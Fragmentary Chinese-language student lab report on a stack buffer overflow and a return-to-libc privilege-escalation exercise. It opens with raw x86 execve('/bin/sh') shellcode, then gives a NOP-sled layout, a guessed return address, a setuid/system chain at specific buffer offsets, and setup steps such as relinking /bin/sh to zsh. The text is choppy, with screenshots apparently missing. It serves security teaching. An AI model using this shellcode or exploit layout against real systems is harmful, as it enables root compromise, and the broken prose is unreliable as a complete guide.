\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
nops+shellcode+retaddr
的方法来构造攻击,对返回地址进行猜想,尝试找到shellcode的地址:input_shellcode
来攻击buf,先不用着急按回车,新开一个终端查看进程pid:0xffffd400
位置,将返回地址修改成0xffffd400
,从新注入:sudo apt-get update sudo apt-get install lib32z1 libc6-dev-i386 sudo apt-get install lib32readline-gplv2-dev
ln -s zsh sh
把/bin/sh
指向zsh
:/tmp
文件夹下:SET-UID
:#
符号,纠正后成功:/tmp
文件夹下建一个读取环境变量的程序:20145208_getenvaddr
程序得到BIN_SH
地址:结果没有获取权限,由于bash内置了权限下降的机制,就使得咱们虽然可让bof返回时执行system(“/bin/sh”),可是获取不到root权限。linux
获取setuid的方式和前面system、exit同样能够用gdb来看,获得setuid地址以后要对攻击程序进行修改,在bof的返回地址处(&buf[24])写入setuid()的地址,setuid的参数0写在buf[32]处,这是由于setuid()执行完毕以后,会跳转到setuid所在地址的下一个位置,因此这个位置应该放入system函数的入口地址,同理system的参数BIN_SH
的地址放入&buf[36]处:shell